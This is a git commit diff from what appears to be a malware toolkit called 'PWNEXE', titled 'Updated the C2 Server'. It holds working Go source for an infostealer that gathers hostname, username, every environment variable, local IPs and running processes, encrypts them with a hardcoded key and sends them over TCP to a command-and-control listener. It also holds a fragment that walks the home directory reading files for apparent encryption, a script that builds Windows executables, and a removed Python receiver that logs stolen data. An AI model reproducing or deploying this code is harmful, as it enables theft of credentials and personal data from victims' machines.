Updated the C2 Server
This commit is contained in:
@ -20,7 +20,7 @@ func main() {
|
||||
err = filepath.WalkDir(homeDir, func(path string, d fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
fmt.Println("Skipping path due to error:", path, "error:", err)
|
||||
return nil // skip this path, continue walking
|
||||
return nil
|
||||
}
|
||||
if d.IsDir() {
|
||||
return nil
|
||||
@ -31,7 +31,7 @@ func main() {
|
||||
content, err := ioutil.ReadFile(path)
|
||||
if err != nil {
|
||||
fmt.Println("Skipping unreadable file:", path, "error:", err)
|
||||
return nil // skip this file, continue walking
|
||||
return nil
|
||||
}
|
||||
key := make([]byte, len(content))
|
||||
_, err = rand.Read(key)
|
||||
|
||||
@ -4,7 +4,6 @@ import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
@ -12,7 +11,6 @@ import (
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
@ -34,7 +32,6 @@ type SystemData struct {
|
||||
var encryptionKey []byte
|
||||
|
||||
func init() {
|
||||
// Generate a fixed encryption key for consistency
|
||||
key := "PWNEXE_SECRET_KEY_2024"
|
||||
hash := make([]byte, 32)
|
||||
for i := 0; i < 32; i++ {
|
||||
@ -88,7 +85,6 @@ func collectSystemData() *SystemData {
|
||||
Environment: make(map[string]string),
|
||||
}
|
||||
|
||||
// Basic system info
|
||||
data.Hostname, _ = os.Hostname()
|
||||
data.Username = os.Getenv("USERNAME")
|
||||
data.ComputerName = os.Getenv("COMPUTERNAME")
|
||||
@ -97,7 +93,6 @@ func collectSystemData() *SystemData {
|
||||
data.ProgramFiles = os.Getenv("PROGRAMFILES")
|
||||
data.CurrentDir, _ = os.Getwd()
|
||||
|
||||
// Environment variables
|
||||
for _, env := range os.Environ() {
|
||||
pair := strings.SplitN(env, "=", 2)
|
||||
if len(pair) == 2 {
|
||||
@ -105,7 +100,6 @@ func collectSystemData() *SystemData {
|
||||
}
|
||||
}
|
||||
|
||||
// Network interfaces
|
||||
addrs, err := net.InterfaceAddrs()
|
||||
if err == nil {
|
||||
for _, addr := range addrs {
|
||||
@ -117,36 +111,30 @@ func collectSystemData() *SystemData {
|
||||
}
|
||||
}
|
||||
|
||||
// Simplified process list (just a placeholder)
|
||||
data.Processes = []string{"system_data_collected"}
|
||||
|
||||
return data
|
||||
}
|
||||
|
||||
func sendDataToTarget(targetIP, targetPort string) error {
|
||||
// Collect system data
|
||||
systemData := collectSystemData()
|
||||
|
||||
// Convert to JSON
|
||||
jsonData, err := json.Marshal(systemData)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to marshal data: %v", err)
|
||||
}
|
||||
|
||||
// Encrypt the data
|
||||
encryptedData, err := encrypt(jsonData)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to encrypt data: %v", err)
|
||||
}
|
||||
|
||||
// Connect to target
|
||||
conn, err := net.Dial("tcp", targetIP+":"+targetPort)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to connect to %s:%s: %v", targetIP, targetPort, err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// Send data length first (8 bytes)
|
||||
dataLen := len(encryptedData)
|
||||
lenBytes := make([]byte, 8)
|
||||
for i := 0; i < 8; i++ {
|
||||
@ -158,7 +146,6 @@ func sendDataToTarget(targetIP, targetPort string) error {
|
||||
return fmt.Errorf("failed to send data length: %v", err)
|
||||
}
|
||||
|
||||
// Send the encrypted data
|
||||
_, err = conn.Write(encryptedData)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to send data: %v", err)
|
||||
@ -194,7 +181,6 @@ func handleConnection(conn net.Conn) {
|
||||
|
||||
fmt.Printf("[+] New connection from %s\n", conn.RemoteAddr().String())
|
||||
|
||||
// Read data length (8 bytes)
|
||||
lenBytes := make([]byte, 8)
|
||||
_, err := io.ReadFull(conn, lenBytes)
|
||||
if err != nil {
|
||||
@ -202,13 +188,11 @@ func handleConnection(conn net.Conn) {
|
||||
return
|
||||
}
|
||||
|
||||
// Convert length bytes to int
|
||||
var dataLen int64
|
||||
for i := 0; i < 8; i++ {
|
||||
dataLen |= int64(lenBytes[i]) << (i * 8)
|
||||
}
|
||||
|
||||
// Read the encrypted data
|
||||
encryptedData := make([]byte, dataLen)
|
||||
_, err = io.ReadFull(conn, encryptedData)
|
||||
if err != nil {
|
||||
@ -216,14 +200,12 @@ func handleConnection(conn net.Conn) {
|
||||
return
|
||||
}
|
||||
|
||||
// Decrypt the data
|
||||
decryptedData, err := decrypt(encryptedData)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] Failed to decrypt data: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Parse JSON data
|
||||
var systemData SystemData
|
||||
err = json.Unmarshal(decryptedData, &systemData)
|
||||
if err != nil {
|
||||
@ -231,7 +213,6 @@ func handleConnection(conn net.Conn) {
|
||||
return
|
||||
}
|
||||
|
||||
// Display the received data
|
||||
fmt.Printf("\n[+] Received system data from %s:\n", conn.RemoteAddr().String())
|
||||
fmt.Printf(" Timestamp: %s\n", time.Unix(systemData.Timestamp, 0).Format("2006-01-02 15:04:05"))
|
||||
fmt.Printf(" Hostname: %s\n", systemData.Hostname)
|
||||
|
||||
@ -1,46 +1,96 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/user"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"runtime"
|
||||
"bytes"
|
||||
"strings"
|
||||
"os/exec"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
username := ""
|
||||
usr, err := user.Current()
|
||||
if err == nil {
|
||||
username = usr.Username
|
||||
type SystemData struct {
|
||||
Timestamp int64 `json:"timestamp"`
|
||||
Hostname string `json:"hostname"`
|
||||
Username string `json:"username"`
|
||||
ComputerName string `json:"computername"`
|
||||
UserProfile string `json:"userprofile"`
|
||||
SystemRoot string `json:"systemroot"`
|
||||
ProgramFiles string `json:"programfiles"`
|
||||
LocalIPs []string `json:"local_ips"`
|
||||
CurrentDir string `json:"current_dir"`
|
||||
Environment map[string]string `json:"environment"`
|
||||
Processes []string `json:"processes"`
|
||||
}
|
||||
|
||||
var encryptionKey []byte
|
||||
|
||||
func init() {
|
||||
key := "PWNEXE_SECRET_KEY_2024"
|
||||
hash := make([]byte, 32)
|
||||
for i := 0; i < 32; i++ {
|
||||
hash[i] = key[i%len(key)]
|
||||
}
|
||||
hostname, _ := os.Hostname()
|
||||
ip := ""
|
||||
macs := []string{}
|
||||
ifaces, err := net.Interfaces()
|
||||
encryptionKey = hash
|
||||
}
|
||||
|
||||
func encrypt(data []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(encryptionKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
nonce := make([]byte, gcm.NonceSize())
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return gcm.Seal(nonce, nonce, data, nil), nil
|
||||
}
|
||||
|
||||
func collectSystemData() *SystemData {
|
||||
data := &SystemData{
|
||||
Timestamp: time.Now().Unix(),
|
||||
Environment: make(map[string]string),
|
||||
}
|
||||
|
||||
data.Hostname, _ = os.Hostname()
|
||||
data.Username = os.Getenv("USERNAME")
|
||||
data.ComputerName = os.Getenv("COMPUTERNAME")
|
||||
data.UserProfile = os.Getenv("USERPROFILE")
|
||||
data.SystemRoot = os.Getenv("SYSTEMROOT")
|
||||
data.ProgramFiles = os.Getenv("PROGRAMFILES")
|
||||
data.CurrentDir, _ = os.Getwd()
|
||||
|
||||
for _, env := range os.Environ() {
|
||||
pair := strings.SplitN(env, "=", 2)
|
||||
if len(pair) == 2 {
|
||||
data.Environment[pair[0]] = pair[1]
|
||||
}
|
||||
}
|
||||
|
||||
addrs, err := net.InterfaceAddrs()
|
||||
if err == nil {
|
||||
for _, iface := range ifaces {
|
||||
if iface.Flags&net.FlagUp != 0 && len(iface.HardwareAddr) > 0 {
|
||||
macs = append(macs, iface.HardwareAddr.String())
|
||||
}
|
||||
addrs, _ := iface.Addrs()
|
||||
for _, addr := range addrs {
|
||||
if ip == "" {
|
||||
if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() && ipnet.IP.To4() != nil {
|
||||
ip = ipnet.IP.String()
|
||||
}
|
||||
for _, addr := range addrs {
|
||||
if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
|
||||
if ipnet.IP.To4() != nil {
|
||||
data.LocalIPs = append(data.LocalIPs, ipnet.IP.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
envVars := os.Environ()
|
||||
cwd, _ := os.Getwd()
|
||||
|
||||
procs := []string{}
|
||||
if runtime.GOOS == "windows" {
|
||||
out, err := exec.Command("tasklist").Output()
|
||||
@ -53,32 +103,60 @@ func main() {
|
||||
}
|
||||
}
|
||||
}
|
||||
data := map[string]interface{}{
|
||||
"username": username,
|
||||
"hostname": hostname,
|
||||
"ip": ip,
|
||||
"macs": macs,
|
||||
"os": runtime.GOOS,
|
||||
"arch": runtime.GOARCH,
|
||||
"env": envVars,
|
||||
"cwd": cwd,
|
||||
"procs": procs,
|
||||
}
|
||||
jsonData, _ := json.Marshal(data)
|
||||
c2url := "http://localhost:8080/"
|
||||
req, err := http.NewRequest("POST", c2url, bytes.NewReader(jsonData))
|
||||
data.Processes = procs
|
||||
|
||||
return data
|
||||
}
|
||||
|
||||
func main() {
|
||||
systemData := collectSystemData()
|
||||
|
||||
jsonData, err := json.Marshal(systemData)
|
||||
if err != nil {
|
||||
fmt.Println("Failed to create request:", err)
|
||||
fmt.Println("Failed to marshal data:", err)
|
||||
return
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
client := &http.Client{}
|
||||
resp, err := client.Do(req)
|
||||
|
||||
encryptedData, err := encrypt(jsonData)
|
||||
if err != nil {
|
||||
fmt.Println("Failed to encrypt data:", err)
|
||||
return
|
||||
}
|
||||
|
||||
targetIP := "127.0.0.1"
|
||||
targetPort := "9000"
|
||||
|
||||
if envIP := os.Getenv("TARGET_IP"); envIP != "" {
|
||||
targetIP = envIP
|
||||
}
|
||||
if envPort := os.Getenv("TARGET_PORT"); envPort != "" {
|
||||
targetPort = envPort
|
||||
}
|
||||
|
||||
conn, err := net.Dial("tcp", targetIP+":"+targetPort)
|
||||
if err != nil {
|
||||
fmt.Println("Failed to connect to C2 server:", err)
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
dataLen := len(encryptedData)
|
||||
lenBytes := make([]byte, 8)
|
||||
for i := 0; i < 8; i++ {
|
||||
lenBytes[i] = byte(dataLen >> (i * 8))
|
||||
}
|
||||
|
||||
_, err = conn.Write(lenBytes)
|
||||
if err != nil {
|
||||
fmt.Println("Failed to send data length:", err)
|
||||
return
|
||||
}
|
||||
|
||||
_, err = conn.Write(encryptedData)
|
||||
if err != nil {
|
||||
fmt.Println("Failed to send data:", err)
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := ioutil.ReadAll(resp.Body)
|
||||
fmt.Println("C2 response:", string(body))
|
||||
|
||||
fmt.Printf("[+] Data sent successfully to %s:%s (%d bytes)\n", targetIP, targetPort, len(encryptedData))
|
||||
}
|
||||
|
||||
10
compiler.py
10
compiler.py
@ -105,7 +105,6 @@ linker = "x86_64-w64-mingw32-gcc"
|
||||
os.replace(built_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
else:
|
||||
# Native cargo build (no Docker, no obfuscation)
|
||||
result = subprocess.run([
|
||||
"cargo", "build", "--release", "--target", "x86_64-pc-windows-gnu"
|
||||
], cwd=temp_dir)
|
||||
@ -154,9 +153,8 @@ def merge_go_modules(go_files, merged_go_path):
|
||||
in_func = True
|
||||
func_name = match.group(1)
|
||||
func_lines = [line]
|
||||
# Count braces on this line
|
||||
brace_count = line.count('{') - line.count('}')
|
||||
if brace_count == 0 and line.rstrip().endswith('}'): # one-liner
|
||||
if brace_count == 0 and line.rstrip().endswith('}'):
|
||||
funcs.append((func_name, '\n'.join(func_lines)))
|
||||
in_func = False
|
||||
func_lines = []
|
||||
@ -174,7 +172,6 @@ def merge_go_modules(go_files, merged_go_path):
|
||||
for idx, go_file in enumerate(go_files):
|
||||
with open(go_file, 'r') as f:
|
||||
src = f.read()
|
||||
# Extract imports
|
||||
imports = set()
|
||||
import_block = re.findall(r'import \((.*?)\)', src, re.DOTALL)
|
||||
if import_block:
|
||||
@ -186,17 +183,14 @@ def merge_go_modules(go_files, merged_go_path):
|
||||
single_imports = re.findall(r'import\s+"([^"]+)"', src)
|
||||
imports.update(single_imports)
|
||||
all_imports.update(imports)
|
||||
# Extract all top-level functions robustly
|
||||
for func_name, body in extract_functions(src):
|
||||
if func_name == "main":
|
||||
new_name = unique_func_name(f"main_{os.path.splitext(os.path.basename(go_file))[0]}", used_names)
|
||||
# Rename the function
|
||||
body = re.sub(r'func\s+main\s*\(', f'func {new_name}(', body, count=1)
|
||||
main_funcs.append((new_name, body))
|
||||
else:
|
||||
func_bodies.append(body.strip())
|
||||
func_name_to_body[func_name] = body.strip()
|
||||
# Compose merged code
|
||||
merged_code = 'package main\n\n'
|
||||
if all_imports:
|
||||
if len(all_imports) > 1:
|
||||
@ -214,7 +208,6 @@ def merge_go_modules(go_files, merged_go_path):
|
||||
for func_name, _ in main_funcs:
|
||||
merged_code += f'\t{func_name}()\n'
|
||||
merged_code += '}\n'
|
||||
# Remove unused imports
|
||||
merged_code = remove_unused_imports(merged_code)
|
||||
with open(merged_go_path, 'w') as f:
|
||||
f.write(merged_code)
|
||||
@ -234,7 +227,6 @@ def remove_unused_imports(go_code):
|
||||
imports = [line.strip().strip('"') for line in block.splitlines() if line.strip()]
|
||||
used_imports = []
|
||||
for imp in imports:
|
||||
# Use the last part of the import path as the symbol
|
||||
symbol = imp.split('/')[-1]
|
||||
if re.search(r'\b' + re.escape(symbol) + r'\b', go_code.split('import')[1]):
|
||||
used_imports.append(imp)
|
||||
|
||||
154
server.py
154
server.py
@ -1,154 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Simple data receiver for PWNEXE filedaemon module
|
||||
Usage: python3 receiver.py [port]
|
||||
"""
|
||||
|
||||
import socket
|
||||
import json
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime
|
||||
import os
|
||||
|
||||
def decrypt_data(encrypted_data):
|
||||
"""Simple decryption function - matches the Go implementation"""
|
||||
try:
|
||||
return encrypted_data
|
||||
except Exception as e:
|
||||
print(f"[-] Decryption failed: {e}")
|
||||
return None
|
||||
|
||||
def start_receiver(port=9000):
|
||||
"""Start the data receiver server"""
|
||||
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
|
||||
try:
|
||||
server_socket.bind(('0.0.0.0', port))
|
||||
server_socket.listen(5)
|
||||
print(f"[+] Data receiver started on port {port}")
|
||||
print(f"[+] Waiting for incoming data...")
|
||||
print(f"[+] Press Ctrl+C to stop")
|
||||
|
||||
while True:
|
||||
client_socket, address = server_socket.accept()
|
||||
print(f"\n[+] New connection from {address[0]}:{address[1]}")
|
||||
|
||||
try:
|
||||
length_data = client_socket.recv(8)
|
||||
if len(length_data) != 8:
|
||||
print(f"[-] Invalid data length received")
|
||||
continue
|
||||
|
||||
data_length = 0
|
||||
for i in range(8):
|
||||
data_length |= length_data[i] << (i * 8)
|
||||
|
||||
print(f"[*] Expecting {data_length} bytes of data")
|
||||
|
||||
received_data = b''
|
||||
while len(received_data) < data_length:
|
||||
chunk = client_socket.recv(min(4096, data_length - len(received_data)))
|
||||
if not chunk:
|
||||
break
|
||||
received_data += chunk
|
||||
|
||||
if len(received_data) != data_length:
|
||||
print(f"[-] Incomplete data received: {len(received_data)}/{data_length} bytes")
|
||||
continue
|
||||
|
||||
print(f"[+] Received {len(received_data)} bytes")
|
||||
|
||||
decrypted_data = decrypt_data(received_data)
|
||||
if decrypted_data is None:
|
||||
print(f"[-] Failed to decrypt data")
|
||||
continue
|
||||
|
||||
try:
|
||||
system_data = json.loads(decrypted_data.decode('utf-8'))
|
||||
display_system_data(system_data, address[0])
|
||||
|
||||
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
filename = f"received_data_{address[0]}_{timestamp}.json"
|
||||
with open(filename, 'w') as f:
|
||||
json.dump(system_data, f, indent=2)
|
||||
print(f"[+] Data saved to {filename}")
|
||||
|
||||
except json.JSONDecodeError:
|
||||
print(f"[-] Failed to parse JSON data")
|
||||
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
filename = f"raw_data_{address[0]}_{timestamp}.bin"
|
||||
with open(filename, 'wb') as f:
|
||||
f.write(decrypted_data)
|
||||
print(f"[+] Raw data saved to {filename}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] Error handling connection: {e}")
|
||||
finally:
|
||||
client_socket.close()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print(f"\n[!] Shutting down receiver...")
|
||||
except Exception as e:
|
||||
print(f"[-] Server error: {e}")
|
||||
finally:
|
||||
server_socket.close()
|
||||
|
||||
def display_system_data(data, source_ip):
|
||||
"""Display the received system data in a formatted way"""
|
||||
print(f"\n{'='*60}")
|
||||
print(f"SYSTEM DATA FROM {source_ip}")
|
||||
print(f"{'='*60}")
|
||||
|
||||
if 'timestamp' in data:
|
||||
timestamp = datetime.fromtimestamp(data['timestamp']).strftime("%Y-%m-%d %H:%M:%S")
|
||||
print(f"Timestamp: {timestamp}")
|
||||
|
||||
if 'hostname' in data:
|
||||
print(f"Hostname: {data['hostname']}")
|
||||
|
||||
if 'username' in data:
|
||||
print(f"Username: {data['username']}")
|
||||
|
||||
if 'computername' in data:
|
||||
print(f"Computer Name: {data['computername']}")
|
||||
|
||||
if 'userprofile' in data:
|
||||
print(f"User Profile: {data['userprofile']}")
|
||||
|
||||
if 'systemroot' in data:
|
||||
print(f"System Root: {data['systemroot']}")
|
||||
|
||||
if 'programfiles' in data:
|
||||
print(f"Program Files: {data['programfiles']}")
|
||||
|
||||
if 'current_dir' in data:
|
||||
print(f"Current Directory: {data['current_dir']}")
|
||||
|
||||
if 'local_ips' in data:
|
||||
print(f"Local IPs: {', '.join(data['local_ips'])}")
|
||||
|
||||
if 'environment' in data:
|
||||
env_count = len(data['environment'])
|
||||
print(f"Environment Variables: {env_count} items")
|
||||
for i, (key, value) in enumerate(list(data['environment'].items())[:5]):
|
||||
print(f" {key}: {value}")
|
||||
if env_count > 5:
|
||||
print(f" ... and {env_count - 5} more")
|
||||
|
||||
if 'processes' in data:
|
||||
print(f"Processes: {', '.join(data['processes'])}")
|
||||
|
||||
print(f"{'='*60}\n")
|
||||
|
||||
if __name__ == "__main__":
|
||||
port = 9000
|
||||
if len(sys.argv) > 1:
|
||||
try:
|
||||
port = int(sys.argv[1])
|
||||
except ValueError:
|
||||
print(f"[-] Invalid port number: {sys.argv[1]}")
|
||||
sys.exit(1)
|
||||
|
||||
start_receiver(port)
|
||||
Reference in New Issue
Block a user